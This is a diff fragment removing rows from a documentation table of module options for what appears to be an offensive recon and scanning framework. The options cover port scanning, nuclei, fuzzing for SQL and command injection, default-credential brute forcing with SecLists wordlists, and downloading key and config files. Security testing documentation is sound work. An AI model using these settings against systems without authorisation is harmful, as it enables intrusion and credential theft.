-| modules.filedownload.extensions                     | list     | File extensions to download                                                                                                                                                                                                                                                                                                    | ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'] |
-| modules.filedownload.max_filesize                   | str      | Cancel download if filesize is greater than this size                                                                                                                                                                                                                                                                          | 10MB                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.filedownload.output_folder                  | str      | Folder to download files to. If not specified, downloaded files will be deleted when the scan completes, to minimize disk usage.                                                                                                                                                                                               |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.fingerprintx.skip_common_web                | bool     | Skip common web ports such as 80, 443, 8080, 8443, etc.                                                                                                                                                                                                                                                                        | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.fingerprintx.version                        | str      | fingerprintx version                                                                                                                                                                                                                                                                                                           | 1.1.4                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.generic_ssrf.skip_dns_interaction           | bool     | Do not report DNS interactions (only HTTP interaction)                                                                                                                                                                                                                                                                         | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.gitlab_com.api_key                          | str      | GitLab access token (for gitlab.com/org only)                                                                                                                                                                                                                                                                                  |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.gitlab_onprem.api_key                       | str      | GitLab access token (for self-hosted instances only)                                                                                                                                                                                                                                                                           |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.gowitness.chrome_path                       | str      | Path to chrome executable                                                                                                                                                                                                                                                                                                      |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.gowitness.idle_timeout                      | int      | Skip the current gowitness batch if it stalls for longer than this many seconds                                                                                                                                                                                                                                                | 1800                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.gowitness.output_path                       | str      | Where to save screenshots                                                                                                                                                                                                                                                                                                      |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.gowitness.resolution_x                      | int      | Screenshot resolution x                                                                                                                                                                                                                                                                                                        | 1440                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.gowitness.resolution_y                      | int      | Screenshot resolution y                                                                                                                                                                                                                                                                                                        | 900                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
-| modules.gowitness.social                            | bool     | Whether to screenshot social media webpages                                                                                                                                                                                                                                                                                    | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.gowitness.threads                           | int      | How many gowitness threads to spawn (default is number of CPUs x 2)                                                                                                                                                                                                                                                            | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| modules.gowitness.timeout                           | int      | Preflight check timeout                                                                                                                                                                                                                                                                                                        | 10                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| modules.gowitness.version                           | str      | Gowitness version                                                                                                                                                                                                                                                                                                              | 3.0.5                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.graphql_introspection.graphql_endpoint_urls | list     | List of GraphQL endpoint to suffix to the target URL                                                                                                                                                                                                                                                                           | ['/', '/graphql', '/v1/graphql']                                                                                                                                                                                                                                                                                                                                                                                                                        |
-| modules.graphql_introspection.output_folder         | str      | Folder to save the GraphQL schemas to                                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.httpx.in_scope_only                         | bool     | Only visit web reparents that are in scope.                                                                                                                                                                                                                                                                                    | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.httpx.max_response_size                     | int      | Max response size in bytes                                                                                                                                                                                                                                                                                                     | 5242880                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
-| modules.httpx.probe_all_ips                         | bool     | Probe all the ips associated with same host                                                                                                                                                                                                                                                                                    | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.httpx.store_responses                       | bool     | Save raw HTTP responses to scan folder                                                                                                                                                                                                                                                                                         | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.httpx.threads                               | int      | Number of httpx threads to use                                                                                                                                                                                                                                                                                                 | 50                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| modules.httpx.version                               | str      | httpx version                                                                                                                                                                                                                                                                                                                  | 1.2.5                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.iis_shortnames.detect_only                  | bool     | Only detect the vulnerability and do not run the shortname scanner                                                                                                                                                                                                                                                             | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.iis_shortnames.max_node_count               | int      | Limit how many nodes to attempt to resolve on any given recursion branch                                                                                                                                                                                                                                                       | 50                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| modules.iis_shortnames.speculate_magic_urls         | bool     | Attempt to discover iis 'magic' special folders                                                                                                                                                                                                                                                                                | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.legba.concurrency                           | int      | Number of concurrent workers, gets overridden for SSH                                                                                                                                                                                                                                                                          | 3                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| modules.legba.ftp_wordlist                          | str      | Wordlist URL for FTP combined username:password wordlist, newline separated                                                                                                                                                                                                                                                    | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt                                                                                                                                                                                                                                                                                                                 |
-| modules.legba.mssql_wordlist                        | str      | Wordlist URL for MSSQL combined username:password wordlist, newline separated                                                                                                                                                                                                                                                  | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt                                                                                                                                                                                                                                                                                                               |
-| modules.legba.mysql_wordlist                        | str      | Wordlist URL for MySQL combined username:password wordlist, newline separated                                                                                                                                                                                                                                                  | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt                                                                                                                                                                                                                                                                                                               |
-| modules.legba.postgresql_wordlist                   | str      | Wordlist URL for PostgreSQL combined username:password wordlist, newline separated                                                                                                                                                                                                                                             | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt                                                                                                                                                                                                                                                                                                            |
-| modules.legba.rate_limit                            | int      | Limit the number of requests per second, gets overridden for SSH                                                                                                                                                                                                                                                               | 3                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| modules.legba.ssh_wordlist                          | str      | Wordlist URL for SSH combined username:password wordlist, newline separated                                                                                                                                                                                                                                                    | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt                                                                                                                                                                                                                                                                                                                 |
-| modules.legba.telnet_wordlist                       | str      | Wordlist URL for TELNET combined username:password wordlist, newline separated                                                                                                                                                                                                                                                 | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt                                                                                                                                                                                                                                                                                                              |
-| modules.legba.version                               | str      | legba version                                                                                                                                                                                                                                                                                                                  | 1.1.1                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.legba.vnc_wordlist                          | str      | Wordlist URL for VNC password wordlist, newline separated                                                                                                                                                                                                                                                                      | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt                                                                                                                                                                                                                                                                                                                 |
-| modules.lightfuzz.avoid_wafs                        | bool     | Avoid running against confirmed WAFs, which are likely to block lightfuzz requests                                                                                                                                                                                                                                             | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.lightfuzz.disable_post                      | bool     | Disable processing of POST parameters, avoiding form submissions.                                                                                                                                                                                                                                                              | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.lightfuzz.enabled_submodules                | list     | A list of submodules to enable. Empty list enabled all modules.                                                                                                                                                                                                                                                                | ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi']                                                                                                                                                                                                                                                                                                                                                                                      |
-| modules.lightfuzz.force_common_headers              | bool     | Force emit commonly exploitable parameters that may be difficult to detect                                                                                                                                                                                                                                                     | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.lightfuzz.try_get_as_post                   | bool     | For each GETPARAM, also fuzz it as a POSTPARAM (in addition to normal GET fuzzing).                                                                                                                                                                                                                                            | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.lightfuzz.try_post_as_get                   | bool     | For each POSTPARAM, also fuzz it as a GETPARAM (in addition to normal POST fuzzing).                                                                                                                                                                                                                                           | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.medusa.snmp_versions                        | list     | List of SNMP versions to attempt against the SNMP server (default ['1', '2C'])                                                                                                                                                                                                                                                 | ['1', '2C']                                                                                                                                                                                                                                                                                                                                                                                                                                             |
-| modules.medusa.snmp_wordlist                        | str      | Wordlist url for SNMP community strings, newline separated (default https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/snmp.txt)                                                                                                                                                       | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt                                                                                                                                                                                                                                                                                                                            |
-| modules.medusa.threads                              | int      | Number of communities to be tested concurrently (default 5)                                                                                                                                                                                                                                                                    | 5                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| modules.medusa.timeout_s                            | int      | Wait time for the SNMP response(s) once at the end of all attempts (default 5)                                                                                                                                                                                                                                                 | 5                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| modules.medusa.wait_microseconds                    | int      | Wait time after every SNMP request in microseconds (default 200)                                                                                                                                                                                                                                                               | 200                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
-| modules.ntlm.try_all                                | bool     | Try every NTLM endpoint                                                                                                                                                                                                                                                                                                        | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.nuclei.batch_size                           | int      | Number of targets to send to Nuclei per batch (default 200)                                                                                                                                                                                                                                                                    | 200                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
-| modules.nuclei.budget                               | int      | Used in budget mode to set the number of allowed requests per host                                                                                                                                                                                                                                                             | 1                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| modules.nuclei.concurrency                          | int      | maximum number of templates to be executed in parallel (default 25)                                                                                                                                                                                                                                                            | 25                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| modules.nuclei.directory_only                       | bool     | Filter out 'file' URL event (default True)                                                                                                                                                                                                                                                                                     | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.nuclei.etags                                | str      | tags to exclude from the scan                                                                                                                                                                                                                                                                                                  |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.nuclei.mode                                 | str      | manual &#124; technology &#124; severe &#124; budget. Technology: Only activate based on technology events that match nuclei tags (nuclei -as mode). Manual (DEFAULT): Fully manual settings. Severe: Only critical and high severity templates without intrusive. Budget: Limit Nuclei to a specified number of HTTP requests | manual                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
-| modules.nuclei.module_timeout                       | int      | Max time in seconds to spend handling each batch of events                                                                                                                                                                                                                                                                     | 21600                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.nuclei.ratelimit                            | int      | maximum number of requests to send per second (default 150)                                                                                                                                                                                                                                                                    | 150                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
-| modules.nuclei.retries                              | int      | number of times to retry a failed request (default 0)                                                                                                                                                                                                                                                                          | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| modules.nuclei.severity                             | str      | Filter based on severity field available in the template.                                                                                                                                                                                                                                                                      |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.nuclei.silent                               | bool     | Don't display nuclei's banner or status messages                                                                                                                                                                                                                                                                               | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.nuclei.tags                                 | str      | execute a subset of templates that contain the provided tags                                                                                                                                                                                                                                                                   |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.nuclei.templates                            | str      | template or template directory paths to include in the scan                                                                                                                                                                                                                                                                    |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.nuclei.version                              | str      | nuclei version                                                                                                                                                                                                                                                                                                                 | 3.7.1                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.oauth.try_all                               | bool     | Check for OAUTH/IODC on every subdomain and URL.                                                                                                                                                                                                                                                                               | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.paramminer_cookies.recycle_words            | bool     | Attempt to use words found during the scan on all other endpoints                                                                                                                                                                                                                                                              | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.paramminer_cookies.skip_boring_words        | bool     | Remove commonly uninteresting words from the wordlist                                                                                                                                                                                                                                                                          | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.paramminer_cookies.wordlist                 | str      | Define the wordlist to be used to derive cookies                                                                                                                                                                                                                                                                               |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.paramminer_getparams.recycle_words          | bool     | Attempt to use words found during the scan on all other endpoints                                                                                                                                                                                                                                                              | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.paramminer_getparams.skip_boring_words      | bool     | Remove commonly uninteresting words from the wordlist                                                                                                                                                                                                                                                                          | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.paramminer_getparams.wordlist               | str      | Define the wordlist to be used to derive headers                                                                                                                                                                                                                                                                               |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.paramminer_headers.recycle_words            | bool     | Attempt to use words found during the scan on all other endpoints                                                                                                                                                                                                                                                              | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.paramminer_headers.skip_boring_words        | bool     | Remove commonly uninteresting words from the wordlist                                                                                                                                                                                                                                                                          | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.paramminer_headers.wordlist                 | str      | Define the wordlist to be used to derive headers                                                                                                                                                                                                                                                                               |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.portscan.adapter                            | str      | Manually specify a network interface, such as "eth0" or "tun0". If not specified, the first network interface found with a default gateway will be used.                                                                                                                                                                       |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.portscan.adapter_ip                         | str      | Send packets using this IP address. Not needed unless masscan's autodetection fails                                                                                                                                                                                                                                            |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.portscan.adapter_mac                        | str      | Send packets using this as the source MAC address. Not needed unless masscan's autodetection fails                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.portscan.module_timeout                     | int      | Max time in seconds to spend handling each batch of events                                                                                                                                                                                                                                                                     | 259200                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
-| modules.portscan.ping_first                         | bool     | Only portscan hosts that reply to pings                                                                                                                                                                                                                                                                                        | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.portscan.ping_only                          | bool     | Ping sweep only, no portscan                                                                                                                                                                                                                                                                                                   | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.portscan.ports                              | str      | Ports to scan                                                                                                                                                                                                                                                                                                                  |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.portscan.rate                               | int      | Rate in packets per second                                                                                                                                                                                                                                                                                                     | 300                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
-| modules.portscan.router_mac                         | str      | Send packets to this MAC address as the destination. Not needed unless masscan's autodetection fails                                                                                                                                                                                                                           |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.portscan.top_ports                          | int      | Top ports to scan (default 100) (to override, specify 'ports')                                                                                                                                                                                                                                                                 | 100                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
-| modules.portscan.wait                               | int      | Seconds to wait for replies after scan is complete                                                                                                                                                                                                                                                                             | 5                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| modules.retirejs.node_version                       | str      | Node.js version to install locally                                                                                                                                                                                                                                                                                             | 18.19.1                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
-| modules.retirejs.severity                           | str      | Minimum severity level to report (none, low, medium, high, critical)                                                                                                                                                                                                                                                           | medium                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
-| modules.retirejs.version                            | str      | retire.js version                                                                                                                                                                                                                                                                                                              | 5.3.0                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.robots.include_allow                        | bool     | Include 'Allow' Entries                                                                                                                                                                                                                                                                                                        | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.robots.include_disallow                     | bool     | Include 'Disallow' Entries                                                                                                                                                                                                                                                                                                     | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.robots.include_sitemap                      | bool     | Include 'sitemap' entries                                                                                                                                                                                                                                                                                                      | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.securitytxt.emails                          | bool     | emit EMAIL_ADDRESS events                                                                                                                                                                                                                                                                                                      | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.securitytxt.urls                            | bool     | emit URL_UNVERIFIED events                                                                                                                                                                                                                                                                                                     | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.sslcert.skip_non_ssl                        | bool     | Don't try common non-SSL ports                                                                                                                                                                                                                                                                                                 | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.sslcert.timeout                             | float    | Socket connect timeout in seconds                                                                                                                                                                                                                                                                                              | 5.0                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
-| modules.telerik.exploit_RAU_crypto                  | bool     | Attempt to confirm any RAU AXD detections are vulnerable                                                                                                                                                                                                                                                                       | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.telerik.include_subdirs                     | bool     | Include subdirectories in the scan (off by default)                                                                                                                                                                                                                                                                            | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.url_manipulation.allow_redirects            | bool     | Allowing redirects will sometimes create false positives. Disallowing will sometimes create false negatives. Allowed by default.                                                                                                                                                                                               | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.vhost.force_basehost                        | str      | Use a custom base host (e.g. evilcorp.com) instead of the default behavior of using the current URL                                                                                                                                                                                                                            |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.vhost.lines                                 | int      | take only the first N lines from the wordlist when finding directories                                                                                                                                                                                                                                                         | 5000                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.vhost.wordlist                              | str      | Wordlist containing subdomains                                                                                                                                                                                                                                                                                                 | https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt                                                                                                                                                                                                                                                                                                                                          |
-| modules.wafw00f.generic_detect                      | bool     | When no specific WAF detections are made, try to perform a generic detect                                                                                                                                                                                                                                                      | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.wpscan.api_key                              | str      | WPScan API Key                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.wpscan.connection_timeout                   | int      | The connection timeout in seconds (default 2)                                                                                                                                                                                                                                                                                  | 2                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| modules.wpscan.disable_tls_checks                   | bool     | Disables the SSL/TLS certificate verification (Default True)                                                                                                                                                                                                                                                                   | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.wpscan.enumerate                            | str      | Enumeration Process see wpscan help documentation (default: vp,vt,cb,dbe)                                                                                                                                                                                                                                                      | vp,vt,cb,dbe                                                                                                                                                                                                                                                                                                                                                                                                                                            |
-| modules.wpscan.force                                | bool     | Do not check if the target is running WordPress or returns a 403                                                                                                                                                                                                                                                               | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.wpscan.request_timeout                      | int      | The request timeout in seconds (default 5)                                                                                                                                                                                                                                                                                     | 5                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| modules.wpscan.threads                              | int      | How many wpscan threads to spawn (default is 5)                                                                                                                                                                                                                                                                                | 5                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| modules.anubisdb.limit                              | int      | Limit the number of subdomains returned per query (increasing this may slow the scan due to garbage results from this API)                                                                                                                                                                                                     | 1000                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.apkpure.output_folder                       | str      | Folder to download APKs to. If not specified, downloaded APKs will be deleted when the scan completes, to minimize disk usage.                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.bevigil.api_key                             | str      | BeVigil OSINT API Key                                                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.bevigil.urls                                | bool     | Emit URLs in addition to DNS_NAMEs                                                                                                                                                                                                                                                                                             | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.bucket_file_enum.file_limit                 | int      | Limit the number of files downloaded per bucket                                                                                                                                                                                                                                                                                | 50                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| modules.bufferoverrun.api_key                       | str      | BufferOverrun API key                                                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.bufferoverrun.commercial                    | bool     | Use commercial API                                                                                                                                                                                                                                                                                                             | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.builtwith.api_key                           | str      | Builtwith API key                                                                                                                                                                                                                                                                                                              |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.builtwith.redirects                         | bool     | Also look up inbound and outbound redirects                                                                                                                                                                                                                                                                                    | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.c99.api_key                                 | str      | c99.nl API key                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.censys_dns.api_key                          | str      | Censys.io API Key in the format of 'key:secret'                                                                                                                                                                                                                                                                                |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.censys_dns.max_pages                        | int      | Maximum number of pages to fetch (100 results per page)                                                                                                                                                                                                                                                                        | 5                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| modules.censys_ip.api_key                           | str      | Censys.io API Key in the format of 'key:secret'                                                                                                                                                                                                                                                                                |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.censys_ip.dns_names_limit                   | int      | Maximum number of DNS names to extract from dns.names (default 100)                                                                                                                                                                                                                                                            | 100                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
-| modules.censys_ip.in_scope_only                     | bool     | Only query in-scope IPs. If False, will query up to distance 1.                                                                                                                                                                                                                                                                | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.chaos.api_key                               | str      | Chaos API key                                                                                                                                                                                                                                                                                                                  |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.credshed.credshed_url                       | str      | URL of credshed server                                                                                                                                                                                                                                                                                                         |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.credshed.password                           | str      | Credshed password                                                                                                                                                                                                                                                                                                              |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.credshed.username                           | str      | Credshed username                                                                                                                                                                                                                                                                                                              |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.dehashed.api_key                            | str      | DeHashed API Key                                                                                                                                                                                                                                                                                                               |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.dnsbimi.emit_raw_dns_records                | bool     | Emit RAW_DNS_RECORD events                                                                                                                                                                                                                                                                                                     | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.dnsbimi.emit_urls                           | bool     | Emit URL_UNVERIFIED events                                                                                                                                                                                                                                                                                                     | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.dnsbimi.selectors                           | str      | CSV list of BIMI selectors to check                                                                                                                                                                                                                                                                                            | default,email,mail,bimi                                                                                                                                                                                                                                                                                                                                                                                                                                 |
-| modules.dnscaa.dns_names                            | bool     | emit DNS_NAME events                                                                                                                                                                                                                                                                                                           | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.dnscaa.emails                               | bool     | emit EMAIL_ADDRESS events                                                                                                                                                                                                                                                                                                      | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.dnscaa.in_scope_only                        | bool     | Only check in-scope domains                                                                                                                                                                                                                                                                                                    | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.dnscaa.urls                                 | bool     | emit URL_UNVERIFIED events                                                                                                                                                                                                                                                                                                     | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.dnstlsrpt.emit_emails                       | bool     | Emit EMAIL_ADDRESS events                                                                                                                                                                                                                                                                                                      | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.dnstlsrpt.emit_raw_dns_records              | bool     | Emit RAW_DNS_RECORD events                                                                                                                                                                                                                                                                                                     | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.dnstlsrpt.emit_urls                         | bool     | Emit URL_UNVERIFIED events                                                                                                                                                                                                                                                                                                     | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.docker_pull.all_tags                        | bool     | Download all tags from each registry (Default False)                                                                                                                                                                                                                                                                           | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.docker_pull.output_folder                   | str      | Folder to download docker repositories to. If not specified, downloaded docker images will be deleted when the scan completes, to minimize disk usage.                                                                                                                                                                         |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.extractous.extensions                       | list     | File extensions to parse                                                                                                                                                                                                                                                                                                       | ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']                                                                                                            |
-| modules.fullhunt.api_key                            | str      | FullHunt API Key                                                                                                                                                                                                                                                                                                               |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.git_clone.api_key                           | str      | Github token                                                                                                                                                                                                                                                                                                                   |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.git_clone.output_folder                     | str      | Folder to clone repositories to. If not specified, cloned repositories will be deleted when the scan completes, to minimize disk usage.                                                                                                                                                                                        |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.gitdumper.fuzz_tags                         | bool     | Fuzz for common git tag names (v0.0.1, 0.0.2, etc.) up to the max_semanic_version                                                                                                                                                                                                                                              | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.gitdumper.max_semanic_version               | int      |` Maximum version number to fuzz for (default < v10.10.10)                                                                                                                                                                                                                                                                       `| 10                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
-| modules.gitdumper.output_folder                     | str      | Folder to download repositories to. If not specified, downloaded repositories will be deleted when the scan completes, to minimize disk usage.                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.github_codesearch.api_key                   | str      | Github token                                                                                                                                                                                                                                                                                                                   |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.github_codesearch.limit                     | int      | Limit code search to this many results                                                                                                                                                                                                                                                                                         | 100                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
-| modules.github_org.api_key                          | str      | Github token                                                                                                                                                                                                                                                                                                                   |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.github_org.include_member_repos             | bool     | Also enumerate organization members' repositories                                                                                                                                                                                                                                                                              | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| modules.github_org.include_members                  | bool     | Enumerate organization members                                                                                                                                                                                                                                                                                                 | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
-| modules.github_usersearch.api_key                   | str      | Github token                                                                                                                                                                                                                                                                                                                   |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.github_workflows.api_key                    | str      | Github token                                                                                                                                                                                                                                                                                                                   |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
-| modules.github_workflows.num_logs                   | int      | For each workflow fetch the last N successful runs logs (max 100)                                                                                                                                                                                                                                                              | 1                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| modules.github_workflows.output_folder              | str      | Folder to download workflow logs and artifacts to                                                                                                                                                                                                                                                                              |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
